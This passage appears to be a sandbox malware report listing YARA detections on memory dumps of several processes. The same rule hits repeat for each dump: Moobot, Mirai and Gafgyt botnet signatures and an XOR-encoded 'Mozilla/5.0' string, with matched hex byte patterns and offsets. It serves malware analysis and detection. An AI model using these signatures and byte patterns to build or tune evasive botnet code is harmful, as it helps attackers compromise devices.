2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6832.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7236.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7236.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7236.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7236.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7236.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7236.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6616.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6616.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6616.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6616.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6616.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6616.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7177.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7177.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7177.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7177.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7177.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7177.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6484.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6484.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6484.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6484.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6484.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6484.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6395.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6395.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6395.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6395.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6395.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6395.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6304.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6304.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6304.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6304.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6304.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 